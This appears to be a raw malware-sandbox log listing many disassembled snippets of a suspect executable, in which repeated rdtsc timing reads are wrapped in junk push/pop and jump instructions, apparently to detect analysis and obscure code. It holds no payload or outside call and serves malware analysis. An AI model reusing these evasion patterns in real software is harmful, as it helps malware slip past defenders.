Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 689C74 second address: 689C7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 689C7E second address: 689C88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FB8192482D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 612623 second address: 612627 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6922E2 second address: 6922F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 je 00007FB8192482D6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69117C second address: 691182 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 691182 second address: 69118C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FB8192482D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 654796 second address: 6547A5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FB818D70DCAh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 654840 second address: 654846 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 654910 second address: 654916 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 654F87 second address: 654F9E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB8192482DEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 654F9E second address: 655014 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b popad 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push ecx 0x00000010 call 00007FB818D70DC8h 0x00000015 pop ecx 0x00000016 mov dword ptr [esp+04h], ecx 0x0000001a add dword ptr [esp+04h], 0000001Bh 0x00000022 inc ecx 0x00000023 push ecx 0x00000024 ret 0x00000025 pop ecx 0x00000026 ret 0x00000027 mov edi, dword ptr [ebp+122D3A14h] 0x0000002d push 0000001Eh 0x0000002f push 00000000h 0x00000031 push esi 0x00000032 call 00007FB818D70DC8h 0x00000037 pop esi 0x00000038 mov dword ptr [esp+04h], esi 0x0000003c add dword ptr [esp+04h], 0000001Bh 0x00000044 inc esi 0x00000045 push esi 0x00000046 ret 0x00000047 pop esi 0x00000048 ret 0x00000049 mov ecx, 68CD2BEAh 0x0000004e mov edi, eax 0x00000050 nop 0x00000051 push eax 0x00000052 push edx 0x00000053 jmp 00007FB818D70DD1h 0x00000058 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 655014 second address: 655026 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push esi 0x0000000a push eax 0x0000000b push edx 0x0000000c jnp 00007FB8192482D6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65531F second address: 655324 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 655324 second address: 655332 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edi 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 655332 second address: 655364 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edi 0x00000006 nop 0x00000007 xor cx, F96Bh 0x0000000c and edi, dword ptr [ebp+122D3985h] 0x00000012 lea eax, dword ptr [ebp+12488043h] 0x00000018 mov dword ptr [ebp+122D17E7h], ebx 0x0000001e nop 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 jmp 00007FB818D70DCDh 0x00000027 push edx 0x00000028 pop edx 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 655440 second address: 65545D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FB8192482E8h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65545D second address: 632C57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 xor dword ptr [ebp+122D232Eh], edx 0x0000000e call dword ptr [ebp+122D1FA0h] 0x00000014 push esi 0x00000015 push eax 0x00000016 push edx 0x00000017 jnp 00007FB818D70DC6h 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 691455 second address: 69147A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jno 00007FB8192482D6h 0x0000000c popad 0x0000000d jmp 00007FB8192482E8h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 691604 second address: 691614 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB818D70DCAh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6918FF second address: 691903 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 691D05 second address: 691D10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 691E61 second address: 691E6A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 694697 second address: 69469B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69431D second address: 694397 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FB8192482D6h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jc 00007FB8192482F0h 0x00000012 jno 00007FB8192482D6h 0x00000018 jmp 00007FB8192482E4h 0x0000001d jmp 00007FB8192482E1h 0x00000022 jbe 00007FB8192482EEh 0x00000028 jmp 00007FB8192482E8h 0x0000002d popad 0x0000002e push eax 0x0000002f pushad 0x00000030 pushad 0x00000031 popad 0x00000032 jmp 00007FB8192482DBh 0x00000037 popad 0x00000038 jc 00007FB8192482E2h 0x0000003e jbe 00007FB8192482D6h 0x00000044 push eax 0x00000045 push edx 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 696F03 second address: 696F07 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 696F07 second address: 696F10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6973C0 second address: 6973D6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB818D70DD2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6973D6 second address: 6973E9 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FB8192482DEh 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69C4F4 second address: 69C501 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FB818D70DC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69C501 second address: 69C50B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 push ecx 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69C50B second address: 69C511 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69C511 second address: 69C51D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FB8192482D6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69B9B2 second address: 69B9B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69B9B8 second address: 69B9C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 jg 00007FB8192482D6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69B9C6 second address: 69B9D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 jng 00007FB818D70DC6h 0x0000000d pop esi 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69B9D8 second address: 69B9DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69BE53 second address: 69BE60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop esi 0x00000007 popad 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69BE60 second address: 69BE66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69BE66 second address: 69BE77 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push esi 0x00000008 pop esi 0x00000009 je 00007FB818D70DC6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A048F second address: 6A0499 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FB8192482D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A0499 second address: 6A04B5 instructions: 0x00000000 rdtsc 0x00000002 je 00007FB818D70DC6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push esi 0x0000000d pushad 0x0000000e popad 0x0000000f jmp 00007FB818D70DCCh 0x00000014 pop esi 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A04B5 second address: 6A04C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007FB8192482D6h 0x0000000a push edi 0x0000000b pop edi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A04C1 second address: 6A04CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A04CD second address: 6A04D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69FB31 second address: 69FB35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69FB35 second address: 69FB61 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB8192482DAh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c jl 00007FB81924831Ch 0x00000012 pushad 0x00000013 jmp 00007FB8192482E2h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69FB61 second address: 69FB88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 jmp 00007FB818D70DD8h 0x0000000b popad 0x0000000c jne 00007FB818D70DD2h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69FE5F second address: 69FE7C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jo 00007FB8192482D6h 0x0000000d jmp 00007FB8192482DCh 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A017C second address: 6A0182 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A49C0 second address: 6A49C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A4B1D second address: 6A4B21 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A4B21 second address: 6A4B51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FB8192482E7h 0x0000000b push eax 0x0000000c jmp 00007FB8192482E0h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 654D71 second address: 654D8B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB818D70DCDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push edx 0x0000000e pop edx 0x0000000f push esi 0x00000010 pop esi 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A50A4 second address: 6A50AE instructions: 0x00000000 rdtsc 0x00000002 je 00007FB8192482D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A50AE second address: 6A50B5 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A520C second address: 6A5220 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jg 00007FB8192482D6h 0x0000000e jp 00007FB8192482D6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AE099 second address: 6AE09D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6ACAC4 second address: 6ACACA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AD347 second address: 6AD34B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AD34B second address: 6AD368 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007FB8192482E0h 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6ADAD0 second address: 6ADAD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B1064 second address: 6B106C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B12F6 second address: 6B1304 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB818D70DCAh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B1304 second address: 6B131B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jbe 00007FB8192482D6h 0x0000000d jns 00007FB8192482D6h 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B15C0 second address: 6B15C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B15C4 second address: 6B15CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B15CD second address: 6B15D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B15D2 second address: 6B15D9 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B1772 second address: 6B17A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 jmp 00007FB818D70DCFh 0x0000000b popad 0x0000000c push esi 0x0000000d jmp 00007FB818D70DCBh 0x00000012 jmp 00007FB818D70DCAh 0x00000017 pop esi 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B17A3 second address: 6B17A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B17A9 second address: 6B17AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B17AD second address: 6B17EA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB8192482E9h 0x00000007 jnp 00007FB8192482D6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FB8192482E7h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BE6C8 second address: 6BE6D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 pop eax 0x00000009 jnc 00007FB818D70DC6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BE6D9 second address: 6BE6DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BE6DE second address: 6BE6FA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB818D70DD7h 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BC9E3 second address: 6BC9E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BC9E7 second address: 6BC9F4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 js 00007FB818D70DC6h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BC9F4 second address: 6BCA18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FB8192482E9h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BCA18 second address: 6BCA22 instructions: 0x00000000 rdtsc 0x00000002 js 00007FB818D70DC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BCA22 second address: 6BCA28 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BCE76 second address: 6BCE7A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BCE7A second address: 6BCE85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edx 0x00000008 pop edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BD13A second address: 6BD159 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB818D70DD1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d jp 00007FB818D70DC6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BD159 second address: 6BD17D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FB8192482E5h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jnl 00007FB8192482D6h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BD17D second address: 6BD183 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BD5CA second address: 6BD5D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BD5D0 second address: 6BD5D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BD5D6 second address: 6BD5E9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB8192482DAh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BD5E9 second address: 6BD5EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BD70E second address: 6BD718 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BD718 second address: 6BD71C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BD71C second address: 6BD720 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BD720 second address: 6BD736 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FB818D70DCCh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BD736 second address: 6BD73A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
